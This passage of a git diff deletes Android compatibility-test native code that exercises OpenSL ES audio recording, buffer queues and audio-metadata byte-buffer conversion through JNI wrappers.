-                    && (AudioInputDescriptor.deviceLocation == SL_DEVLOCATION_HEADSET)) {
-                mic_deviceID = InputDeviceIDs[i];
-                mic_available = SL_BOOLEAN_TRUE;
-                break;
-            }
-            else if ((AudioInputDescriptor.deviceConnection == SL_DEVCONNECTION_INTEGRATED)
-                    && (AudioInputDescriptor.deviceScope == SL_DEVSCOPE_USER)
-                    && (AudioInputDescriptor.deviceLocation == SL_DEVLOCATION_HANDSET)) {
-                mic_deviceID = InputDeviceIDs[i];
-                mic_available = SL_BOOLEAN_TRUE;
-                break;
-            }
-        }
-    } else {
-        mic_deviceID = SL_DEFAULTDEVICEID_AUDIOINPUT;
-        mic_available = true;
-    }
-
-    /* If neither of the preferred input audio devices is available, no
-       point in continuing */
-    if (!mic_available) {
-        /* Appropriate error message here */
-        ALOGW("No microphone available");
-        return;
-    }
-
-    /* Initialize arrays required[] and iidArray[] */
-    for (i = 0; i < MAX_NUMBER_INTERFACES; i++) {
-        required[i] = SL_BOOLEAN_FALSE;
-        iidArray[i] = SL_IID_NULL;
-    }
-
-    // ANDROID: the following may fail for volume
-    devicevolumeItf = NULL;
-    /* Get the optional DEVICE VOLUME interface from the engine */
-    res = (*sl)->GetInterface(sl, SL_IID_DEVICEVOLUME,
-            (void *)&devicevolumeItf);
-
-    /* Set recording volume of the microphone to -3 dB */
-    if (devicevolumeItf != NULL) { // ANDROID: Volume may not be supported
-        res = (*devicevolumeItf)->SetVolume(devicevolumeItf, mic_deviceID, -300);
-        CheckErr(res);
-    }
-
-    /* Setup the data source structure */
-    locator_mic.locatorType = SL_DATALOCATOR_IODEVICE;
-    locator_mic.deviceType = SL_IODEVICE_AUDIOINPUT;
-    locator_mic.deviceID = mic_deviceID;
-    locator_mic.device= NULL;
-
-    audioSource.pLocator = (void *)&locator_mic;
-    audioSource.pFormat = NULL;
-
-#if 0
-    /* Setup the data sink structure */
-    uri.locatorType = SL_DATALOCATOR_URI;
-    uri.URI = (SLchar *) "file:///recordsample.wav";
-    mime.formatType = SL_DATAFORMAT_MIME;
-    mime.mimeType = (SLchar *) "audio/x-wav";
-    mime.containerType = SL_CONTAINERTYPE_WAV;
-    audioSink.pLocator = (void *)&uri;
-    audioSink.pFormat = (void *)&mime;
-#else
-    // FIXME: Android requires SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE
-    // because the recorder makes the distinction from SL_DATALOCATOR_BUFFERQUEUE
-    // which the player does not.
-    SLDataLocator_AndroidSimpleBufferQueue loc_bq = {
-            SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE, 2
-    };
-    SLDataFormat_PCM format_pcm = {
-            SL_DATAFORMAT_PCM, 1, SL_SAMPLINGRATE_16,
-            SL_PCMSAMPLEFORMAT_FIXED_16, SL_PCMSAMPLEFORMAT_FIXED_16,
-            SL_SPEAKER_FRONT_LEFT, SL_BYTEORDER_LITTLEENDIAN
-    };
-    audioSink = { &loc_bq, &format_pcm };
-#endif
-
-    /* Create audio recorder */
-    res = (*EngineItf)->CreateAudioRecorder(EngineItf, &recorder,
-            &audioSource, &audioSink, 0, iidArray, required);
-    CheckErr(res);
-
-    /* Realizing the recorder in synchronous mode. */
-    res = (*recorder)->Realize(recorder, SL_BOOLEAN_FALSE);
-    CheckErr(res);
-
-    /* Get the RECORD interface - it is an implicit interface */
-    res = (*recorder)->GetInterface(recorder, SL_IID_RECORD, (void *)&recordItf);
-    CheckErr(res);
-
-    // ANDROID: Should register SL_IID_ANDROIDSIMPLEBUFFERQUEUE interface for callback.
-    // but does original SL_DATALOCATOR_BUFFERQUEUE variant work just as well ?
-
-    /* Setup to receive position event callbacks */
-    res = (*recordItf)->RegisterCallback(recordItf, RecordEventCallback, NULL);
-    CheckErr(res);
-
-    /* Set notifications to occur after every second - may be useful in
-       updating a recording progress bar */
-    res = (*recordItf)->SetPositionUpdatePeriod(recordItf, POSITION_UPDATE_PERIOD);
-    CheckErr(res);
-    res = (*recordItf)->SetCallbackEventsMask(recordItf, SL_RECORDEVENT_HEADATNEWPOS);
-    CheckErr(res);
-
-    /* Set the duration of the recording - 30 seconds (30,000
-       milliseconds) */
-    res = (*recordItf)->SetDurationLimit(recordItf, 30000);
-    CheckErr(res);
-
-    /* Record the audio */
-    res = (*recordItf)->SetRecordState(recordItf, SL_RECORDSTATE_RECORDING);
-    CheckErr(res);
-
-    // ANDROID: BUG - we don't wait for anything to record!
-
-    /* Destroy the recorder object */
-    (*recorder)->Destroy(recorder);
-}
-
-extern "C" void Java_android_media_cts_AudioNativeTest_nativeAppendixBRecording(
-        JNIEnv * /* env */, jclass /* clazz */)
-{
-    SLObjectItf engineObject = android::OpenSLEngine();
-    LOG_ALWAYS_FATAL_IF(engineObject == NULL, "cannot open OpenSL ES engine");
-
-    TestAudioRecording(engineObject);
-    android::CloseSLEngine(engineObject);
-}
diff --git a/tests/tests/media/libaudiojni/audio-metadata-native.cpp b/tests/tests/media/libaudiojni/audio-metadata-native.cpp
deleted file mode 100644
index 38f5047..0000000
--- a/tests/tests/media/libaudiojni/audio-metadata-native.cpp
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "audio-metadata-native"
-
-#include <algorithm>
-#include <atomic>
-
-#include <audio_utils/Metadata.h>
-#include <nativehelper/scoped_local_ref.h>
-#include <nativehelper/scoped_utf_chars.h>
-#include <utils/Log.h>
-
-#include <jni.h>
-
-using namespace android;
-
-static jclass gByteBufferClass;
-static jmethodID gByteBufferAllocateDirect;
-
-static std::atomic<bool> gFieldsInitialized = false;
-
-static void initializeGlobalFields(JNIEnv *env)
-{
-    if (gFieldsInitialized) {
-        return;
-    }
-
-    ScopedLocalRef<jclass> byteBufferClass(env, env->FindClass("java/nio/ByteBuffer"));
-    gByteBufferClass = (jclass) env->NewGlobalRef(byteBufferClass.get());
-    gByteBufferAllocateDirect = env->GetStaticMethodID(
-            gByteBufferClass, "allocateDirect", "(I)Ljava/nio/ByteBuffer;");
-    gFieldsInitialized = true;
-}
-
-extern "C" jobject Java_android_media_cts_AudioMetadataTest_nativeGetByteBuffer(
-    JNIEnv *env, jclass /*clazz*/, jobject javaByteBuffer, jint sizeInBytes)
-{
-    initializeGlobalFields(env);
-
-    const uint8_t* bytes =
-            reinterpret_cast<const uint8_t*>(env->GetDirectBufferAddress(javaByteBuffer));
-    if (bytes == nullptr) {
-        ALOGE("Cannot get byte array");
-        return nullptr;
-    }
-    audio_utils::metadata::Data d = audio_utils::metadata::dataFromByteString(
-            audio_utils::metadata::ByteString(bytes, sizeInBytes));
-
-    audio_utils::metadata::ByteString bs = byteStringFromData(d);
-
-    jobject byteBuffer = env->CallStaticObjectMethod(
-            gByteBufferClass, gByteBufferAllocateDirect, (jint) bs.size());
-    if (env->ExceptionCheck()) {
-        env->ExceptionDescribe();
-        env->ExceptionClear();
-    }
-    if (byteBuffer == nullptr) {
-        ALOGE("Failed to allocate byte buffer");
-        return nullptr;
-    }
-
-    uint8_t* byteBufferAddr = (uint8_t*)env->GetDirectBufferAddress(byteBuffer);
-    std::copy(bs.begin(), bs.end(), byteBufferAddr);
-    return byteBuffer;
-}
diff --git a/tests/tests/media/libaudiojni/audio-record-native.cpp b/tests/tests/media/libaudiojni/audio-record-native.cpp
deleted file mode 100644
index 07e71e0..0000000
--- a/tests/tests/media/libaudiojni/audio-record-native.cpp
+++ /dev/null
@@ -1,670 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "audio-record-native"
-
-#include "Blob.h"
-#include "Gate.h"
-#include "sl-utils.h"
-
-#include <deque>
-#include <utils/Errors.h>
-
-// Select whether to use STL shared pointer or to use Android strong pointer.
-// We really don't promote any sharing of this object for its lifetime, but nevertheless could
-// change the shared pointer value on the fly if desired.
-#define USE_SHARED_POINTER
-
-#ifdef USE_SHARED_POINTER
-#include <memory>
-template <typename T> using shared_pointer = std::shared_ptr<T>;
-#else
-#include <utils/RefBase.h>
-template <typename T> using shared_pointer = android::sp<T>;
-#endif
-
-using namespace android;
-
-// Must be kept in sync with Java android.media.cts.AudioRecordNative.ReadFlags
-enum {
-    READ_FLAG_BLOCKING = (1 << 0),
-};
-
-// buffer queue buffers on the OpenSL ES side.
-// The choice can be >= 1.  There is also internal buffering by AudioRecord.
-
-static const size_t BUFFER_SIZE_MSEC = 20;
-
-// TODO: Add a single buffer blocking read mode which does not require additional memory.
-// TODO: Add internal buffer memory (e.g. use circular buffer, right now mallocs on heap).
-
-class AudioRecordNative
-#ifndef USE_SHARED_POINTER
-        : public RefBase // android strong pointers require RefBase
-#endif
-{
-public:
-    AudioRecordNative() :
-        mEngineObj(NULL),
-        mEngine(NULL),
-        mRecordObj(NULL),
-        mRecord(NULL),
-        mBufferQueue(NULL),
-        mConfigItf(NULL),
-        mRecordState(SL_RECORDSTATE_STOPPED),
-        mBufferSize(0),
-        mNumBuffers(0),
-        mRoutingObj(NULL)
-    { }
-
-    ~AudioRecordNative() {
-        close();
-    }
-
-    typedef std::lock_guard<std::recursive_mutex> auto_lock;
-
-    status_t open(uint32_t numChannels,
-                  uint32_t channelMask,
-                  uint32_t sampleRate,
-                  bool useFloat,
-                  uint32_t numBuffers) {
-        close();
-        auto_lock l(mLock);
-        mEngineObj = OpenSLEngine();
-        if (mEngineObj == NULL) {
-            ALOGW("cannot create OpenSL ES engine");
-            return INVALID_OPERATION;
-        }
-
-        SLresult res;
-        for (;;) {
-            /* Get the SL Engine Interface which is implicit */
-            res = (*mEngineObj)->GetInterface(mEngineObj, SL_IID_ENGINE, (void *)&mEngine);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            SLDataLocator_IODevice locator_mic;
-            /* Setup the data source structure */
-            locator_mic.locatorType = SL_DATALOCATOR_IODEVICE;
-            locator_mic.deviceType = SL_IODEVICE_AUDIOINPUT;
-            locator_mic.deviceID = SL_DEFAULTDEVICEID_AUDIOINPUT;
-            locator_mic.device= NULL;
-            SLDataSource audioSource;
-            audioSource.pLocator = (void *)&locator_mic;
-            audioSource.pFormat = NULL;
-
-            // FIXME: Android requires SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE
-            // because the recorder makes the distinction from SL_DATALOCATOR_BUFFERQUEUE
-            // which the player does not.
-            SLDataLocator_AndroidSimpleBufferQueue loc_bq = {
-                    SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE, numBuffers
-            };
-#if 0
-            SLDataFormat_PCM pcm = {
-                    SL_DATAFORMAT_PCM, 1, SL_SAMPLINGRATE_16,
-                    SL_PCMSAMPLEFORMAT_FIXED_16, SL_PCMSAMPLEFORMAT_FIXED_16,
-                    SL_SPEAKER_FRONT_LEFT, SL_BYTEORDER_LITTLEENDIAN
-            };
-#else
-            SLAndroidDataFormat_PCM_EX pcm;
-            pcm.formatType = useFloat ? SL_ANDROID_DATAFORMAT_PCM_EX : SL_DATAFORMAT_PCM;
-            pcm.numChannels = numChannels;
-            pcm.sampleRate = sampleRate * 1000;
-            pcm.bitsPerSample = useFloat ?
-                    SL_PCMSAMPLEFORMAT_FIXED_32 : SL_PCMSAMPLEFORMAT_FIXED_16;
-            pcm.containerSize = pcm.bitsPerSample;
-            pcm.channelMask = channelMask;
-            pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
-            // additional
-            pcm.representation = useFloat ? SL_ANDROID_PCM_REPRESENTATION_FLOAT
-                                    : SL_ANDROID_PCM_REPRESENTATION_SIGNED_INT;
-#endif
-            SLDataSink audioSink;
-            audioSink = { &loc_bq, &pcm };
-
-            SLboolean required[2];
-            SLInterfaceID iidArray[2];
-            /* Request the AndroidSimpleBufferQueue and AndroidConfiguration interfaces */
-            required[0] = SL_BOOLEAN_TRUE;
-            iidArray[0] = SL_IID_ANDROIDSIMPLEBUFFERQUEUE;
-            required[1] = SL_BOOLEAN_TRUE;
-            iidArray[1] = SL_IID_ANDROIDCONFIGURATION;
-
-            ALOGV("creating recorder");
-            /* Create audio recorder */
-            res = (*mEngine)->CreateAudioRecorder(mEngine, &mRecordObj,
-                    &audioSource, &audioSink, 2, iidArray, required);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            ALOGV("realizing recorder");
-            /* Realizing the recorder in synchronous mode. */
-            res = (*mRecordObj)->Realize(mRecordObj, SL_BOOLEAN_FALSE /* async */);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            ALOGV("geting record interface");
-            /* Get the RECORD interface - it is an implicit interface */
-            res = (*mRecordObj)->GetInterface(mRecordObj, SL_IID_RECORD, (void *)&mRecord);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            ALOGV("geting buffer queue interface");
-            /* Get the buffer queue interface which was explicitly requested */
-            res = (*mRecordObj)->GetInterface(mRecordObj, SL_IID_ANDROIDSIMPLEBUFFERQUEUE,
-                    (void *)&mBufferQueue);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            ALOGV("registering buffer queue interface");
-            /* Setup to receive buffer queue event callbacks */
-            res = (*mBufferQueue)->RegisterCallback(mBufferQueue, BufferQueueCallback, this);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            mBufferSize = (BUFFER_SIZE_MSEC * sampleRate / 1000)
-                    * numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
-            mNumBuffers = numBuffers;
-
-            res = (*mRecordObj)->GetInterface(
-                mRecordObj, SL_IID_ANDROIDCONFIGURATION, (void*)&mConfigItf);
-            if (res != SL_RESULT_SUCCESS) break;
-
-            res = (*mConfigItf)->AcquireJavaProxy(
-                mConfigItf, SL_ANDROID_JAVA_PROXY_ROUTING, &mRoutingObj);
-
-            // success
-            break;
-        }
-        if (res != SL_RESULT_SUCCESS) {
-            close(); // should be safe to close even with lock held
-            ALOGW("open error %s", android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        return OK;
-    }
-
-    void close() {
-        SLObjectItf engineObj;
-        SLObjectItf recordObj;
-        {
-            auto_lock l(mLock);
-            (void)stop();
-            // once stopped, we can unregister the callback
-            if (mBufferQueue != NULL) {
-                (void)(*mBufferQueue)->RegisterCallback(
-                        mBufferQueue, NULL /* callback */, NULL /* *pContext */);
-            }
-            (void)flush();
-            if (mConfigItf != NULL) {
-                if (mRoutingObj != NULL) {
-                    (void)(*mConfigItf)->ReleaseJavaProxy(
-                        mConfigItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
-                    mRoutingObj = NULL;
-                }
-                mConfigItf = NULL;
-            }
-            engineObj = mEngineObj;
-            recordObj = mRecordObj;
-            // clear out interfaces and objects
-            mRecord = NULL;
-            mBufferQueue = NULL;
-            mEngine = NULL;
-            mRecordObj = NULL;
-            mEngineObj = NULL;
-            mRecordState = SL_RECORDSTATE_STOPPED;
-            mBufferSize = 0;
-            mNumBuffers = 0;
-        }
-        // destroy without lock
-        if (recordObj != NULL) {
-            (*recordObj)->Destroy(recordObj);
-        }
-        if (engineObj) {
-            CloseSLEngine(engineObj);
-        }
-    }
-
-    status_t setRecordState(SLuint32 recordState) {
-        auto_lock l(mLock);
-        if (mRecord == NULL) {
-            return INVALID_OPERATION;
-        }
-        if (recordState == SL_RECORDSTATE_RECORDING) {
-            queueBuffers();
-        }
-        SLresult res = (*mRecord)->SetRecordState(mRecord, recordState);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("setRecordState %d error %s", recordState, android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        mRecordState = recordState;
-        return OK;
-    }
-
-    SLuint32 getRecordState() {
-        auto_lock l(mLock);
-        if (mRecord == NULL) {
-            return SL_RECORDSTATE_STOPPED;
-        }
-        SLuint32 recordState;
-        SLresult res = (*mRecord)->GetRecordState(mRecord, &recordState);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("getRecordState error %s", android::getSLErrStr(res));
-            return SL_RECORDSTATE_STOPPED;
-        }
-        return recordState;
-    }
-
-    status_t getPositionInMsec(int64_t *position) {
-        auto_lock l(mLock);
-        if (mRecord == NULL) {
-            return INVALID_OPERATION;
-        }
-        if (position == NULL) {
-            return BAD_VALUE;
-        }
-        SLuint32 pos;
-        SLresult res = (*mRecord)->GetPosition(mRecord, &pos);
-        if (res != SL_RESULT_SUCCESS) {
-            ALOGW("getPosition error %s", android::getSLErrStr(res));
-            return INVALID_OPERATION;
-        }
-        // only lower 32 bits valid
-        *position = pos;
-        return OK;
-    }
-
-    status_t start() {
-        return setRecordState(SL_RECORDSTATE_RECORDING);
-    }
-
-    status_t pause() {
-        return setRecordState(SL_RECORDSTATE_PAUSED);
-    }
-
-    status_t stop() {
-        return setRecordState(SL_RECORDSTATE_STOPPED);
-    }
-
-    status_t flush() {
-        auto_lock l(mLock);
-        status_t result = OK;
-        if (mBufferQueue != NULL) {
-            SLresult res = (*mBufferQueue)->Clear(mBufferQueue);
-            if (res != SL_RESULT_SUCCESS) {
-                return INVALID_OPERATION;
-            }
-        }
-        mReadyQueue.clear();
-        // possible race if the engine is in the callback
-        // safety is only achieved if the recorder is paused or stopped.
-        mDeliveredQueue.clear();
-        mReadBlob = NULL;
-        mReadReady.terminate();
-        return result;
-    }
-
-    ssize_t read(void *buffer, size_t size, bool blocking = false) {
-        std::lock_guard<std::mutex> rl(mReadLock);
-        // not needed if we assume that a single thread is doing the reading
-        // or we always operate in non-blocking mode.
-
-        ALOGV("reading:%p  %zu", buffer, size);
-        size_t copied;
-        std::shared_ptr<Blob> blob;
-        {
-            auto_lock l(mLock);
-            if (mEngine == NULL) {
-                return INVALID_OPERATION;
-            }
-            size_t osize = size;
-            while (!mReadyQueue.empty() && size > 0) {
-                auto b = mReadyQueue.front();
-                size_t tocopy = min(size, b->mSize - b->mOffset);
-                // ALOGD("buffer:%p  size:%zu  b->mSize:%zu  b->mOffset:%zu tocopy:%zu ",
-                //        buffer, size, b->mSize, b->mOffset, tocopy);
-                memcpy(buffer, (char *)b->mData + b->mOffset, tocopy);
-                buffer = (char *)buffer + tocopy;
-                size -= tocopy;
-                b->mOffset += tocopy;
-                if (b->mOffset == b->mSize) {
-                    mReadyQueue.pop_front();
-                    queueBuffers();
-                }
-            }
-            copied = osize - size;
-            if (!blocking || size == 0 || mReadBlob.get() != NULL) {
-                return copied;
-            }
-            blob = std::make_shared<Blob>(buffer, size);
-            mReadBlob = blob;
-            mReadReady.closeGate(); // the callback will open gate when read is completed.
-        }
-        if (mReadReady.wait()) {
-            // success then the blob is ours with valid data otherwise a flush has occurred
-            // and we return a short count.
-            copied += blob->mOffset;
-        }
-        return copied;
-    }
-
-    void logBufferState() {
-        auto_lock l(mLock);
-        SLBufferQueueState state;
-        SLresult res = (*mBufferQueue)->GetState(mBufferQueue, &state);
-        CheckErr(res);
-        ALOGD("logBufferState state.count:%d  state.playIndex:%d", state.count, state.playIndex);
-    }
-
-    size_t getBuffersPending() {
-        auto_lock l(mLock);
-        return mReadyQueue.size();
-    }
-
-    jobject getRoutingInterface() {
-        auto_lock l(mLock);
-        return mRoutingObj;
-    }
-
-private:
-    status_t queueBuffers() {
-        if (mBufferQueue == NULL) {
-            return INVALID_OPERATION;
-        }
-        if (mReadyQueue.size() + mDeliveredQueue.size() < mNumBuffers) {
-            // add new empty buffer
-            auto b = std::make_shared<Blob>(mBufferSize);
-            mDeliveredQueue.emplace_back(b);
-            (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
-        }
-        return OK;
-    }
-
-    void bufferQueueCallback(SLBufferQueueItf queueItf) {
-        auto_lock l(mLock);
-        if (queueItf != mBufferQueue) {
-            ALOGW("invalid buffer queue interface, ignoring");
-            return;
-        }
-        // logBufferState();
-
-        // remove from delivered queue
-        if (mDeliveredQueue.size()) {
-            auto b = mDeliveredQueue.front();
-            mDeliveredQueue.pop_front();
-            if (mReadBlob.get() != NULL) {
-                size_t tocopy = min(mReadBlob->mSize - mReadBlob->mOffset, b->mSize - b->mOffset);
-                memcpy((char *)mReadBlob->mData + mReadBlob->mOffset,
-                        (char *)b->mData + b->mOffset, tocopy);
-                b->mOffset += tocopy;
-                mReadBlob->mOffset += tocopy;
-                if (mReadBlob->mOffset == mReadBlob->mSize) {
-                    mReadBlob = NULL;      // we're done, clear our reference.
-                    mReadReady.openGate(); // allow read to continue.
-                }
-                if (b->mOffset == b->mSize) {
-                    b = NULL;
-                }
-            }
-            if (b.get() != NULL) {
-                if (mReadyQueue.size() + mDeliveredQueue.size() < mNumBuffers) {
-                    mReadyQueue.emplace_back(b); // save onto ready queue for future reads
-                } else {
-                    ALOGW("dropping data");
-                }
-            }
-        } else {
-            ALOGW("no delivered data!");
-        }
-        queueBuffers();
-    }
-
-    static void BufferQueueCallback(SLBufferQueueItf queueItf, void *pContext) {
-        // naked native record
-        AudioRecordNative *record = (AudioRecordNative *)pContext;
-        record->bufferQueueCallback(queueItf);
-    }
-
-    SLObjectItf           mEngineObj;
-    SLEngineItf           mEngine;
-    SLObjectItf           mRecordObj;
-    SLRecordItf           mRecord;
-    SLBufferQueueItf      mBufferQueue;
-    SLAndroidConfigurationItf mConfigItf;
-
-    SLuint32              mRecordState;
-    size_t                mBufferSize;
-    size_t                mNumBuffers;
-    std::recursive_mutex  mLock;          // monitor lock - locks public API methods and callback.
-                                          // recursive since it may call itself through API.
-    std::mutex            mReadLock;      // read lock - for blocking mode, prevents multiple
-                                          // reader threads from overlapping reads.  this is
-                                          // generally unnecessary as reads occur from
-                                          // one thread only.  acquire this before mLock.
-    std::shared_ptr<Blob> mReadBlob;
-    Gate                  mReadReady;
-    std::deque<std::shared_ptr<Blob>> mReadyQueue;     // ready for read.
-    std::deque<std::shared_ptr<Blob>> mDeliveredQueue; // delivered to BufferQueue
-    jobject mRoutingObj;
-};
-
-/* Java static methods.
- *
- * These are not directly exposed to the user, so we can assume a valid "jrecord" handle
- * to be passed in.
- */
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeTest(
-        JNIEnv * /* env */, jclass /* clazz */,
-        jint numChannels, jint channelMask, jint sampleRate,
-        jboolean useFloat, jint msecPerBuffer, jint numBuffers) {
-    AudioRecordNative record;
-    const size_t frameSize = numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
-    const size_t framesPerBuffer = msecPerBuffer * sampleRate / 1000;
-
-    status_t res;
-    void *buffer = calloc(framesPerBuffer * numBuffers, frameSize);
-    for (;;) {
-        res = record.open(numChannels, channelMask, sampleRate, useFloat, numBuffers);
-        if (res != OK) break;
-
-        record.logBufferState();
-        res = record.start();
-        if (res != OK) break;
-
-        size_t size = framesPerBuffer * numBuffers * frameSize;
-        for (size_t offset = 0; size - offset > 0; ) {
-            ssize_t amount = record.read((char *)buffer + offset, size -offset);
-            // ALOGD("read amount: %zd", amount);
-            if (amount < 0) break;
-            offset += amount;
-            usleep(5 * 1000 /* usec */);
-        }
-
-        res = record.stop();
-        break;
-    }
-    record.close();
-    free(buffer);
-    return res;
-}
-
-extern "C" jlong Java_android_media_cts_AudioRecordNative_nativeCreateRecord(
-    JNIEnv * /* env */, jclass /* clazz */)
-{
-    return (jlong)(new shared_pointer<AudioRecordNative>(new AudioRecordNative()));
-}
-
-extern "C" void Java_android_media_cts_AudioRecordNative_nativeDestroyRecord(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    delete (shared_pointer<AudioRecordNative> *)jrecord;
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeOpen(
-        JNIEnv * /* env */, jclass /* clazz */, jlong jrecord,
-        jint numChannels, jint channelMask, jint sampleRate, jboolean useFloat, jint numBuffers)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint) record->open(numChannels, channelMask, sampleRate, useFloat == JNI_TRUE,
-            numBuffers);
-}
-
-extern "C" void Java_android_media_cts_AudioRecordNative_nativeClose(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() != NULL) {
-        record->close();
-    }
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeStart(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)record->start();
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeStop(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)record->stop();
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativePause(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)record->pause();
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeFlush(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    return (jint)record->flush();
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeGetPositionInMsec(
-    JNIEnv *env, jclass /* clazz */, jlong jrecord, jlongArray jPosition)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-    int64_t pos;
-    status_t res = record->getPositionInMsec(&pos);
-    if (res != OK) {
-        return res;
-    }
-    jlong *nPostition = (jlong *) env->GetPrimitiveArrayCritical(jPosition, NULL /* isCopy */);
-    if (nPostition == NULL) {
-        ALOGE("Unable to get array for nativeGetPositionInMsec()");
-        return BAD_VALUE;
-    }
-    nPostition[0] = (jlong)pos;
-    env->ReleasePrimitiveArrayCritical(jPosition, nPostition, 0 /* mode */);
-    return OK;
-}
-
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeGetBuffersPending(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)0;
-    }
-    return (jint)record->getBuffersPending();
-}
-
-extern "C" jobject Java_android_media_cts_AudioRecordNative_nativeGetRoutingInterface(
-    JNIEnv * /* env */, jclass /* clazz */, jlong jrecord)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return NULL;
-    }
-    return record->getRoutingInterface();
-}
-
-template <typename T>
-static inline jint readFromRecord(jlong jrecord, T *data,
-    jint offsetInSamples, jint sizeInSamples, jint readFlags)
-{
-    auto record = *(shared_pointer<AudioRecordNative> *)jrecord;
-    if (record.get() == NULL) {
-        return (jint)INVALID_OPERATION;
-    }
-
-    const bool isBlocking = readFlags & READ_FLAG_BLOCKING;
-    const size_t sizeInBytes = sizeInSamples * sizeof(T);
-    ssize_t ret = record->read(data + offsetInSamples, sizeInBytes, isBlocking == JNI_TRUE);
-    return (jint)(ret > 0 ? ret / sizeof(T) : ret);
-}
-
-template <typename T>
-static inline jint readArray(JNIEnv *env, jclass /* clazz */, jlong jrecord,
-        T javaAudioData, jint offsetInSamples, jint sizeInSamples, jint readFlags)
-{
-    if (javaAudioData == NULL) {
-        return (jint)BAD_VALUE;
-    }
-
-    auto cAudioData = envGetArrayElements(env, javaAudioData, NULL /* isCopy */);
-    if (cAudioData == NULL) {
-        ALOGE("Error retrieving destination of audio data to record");
-        return (jint)BAD_VALUE;
-    }
-
-    jint ret = readFromRecord(jrecord, cAudioData, offsetInSamples, sizeInSamples, readFlags);
-    envReleaseArrayElements(env, javaAudioData, cAudioData, 0 /* mode */);
-    return ret;
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeReadByteArray(
-    JNIEnv *env, jclass clazz, jlong jrecord,
-    jbyteArray byteArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
-{
-    return readArray(env, clazz, jrecord, byteArray, offsetInSamples, sizeInSamples, readFlags);
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeReadShortArray(
-    JNIEnv *env, jclass clazz, jlong jrecord,
-    jshortArray shortArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
-{
-    return readArray(env, clazz, jrecord, shortArray, offsetInSamples, sizeInSamples, readFlags);
-}
-
-extern "C" jint Java_android_media_cts_AudioRecordNative_nativeReadFloatArray(
-    JNIEnv *env, jclass clazz, jlong jrecord,
-    jfloatArray floatArray, jint offsetInSamples, jint sizeInSamples, jint readFlags)
-{
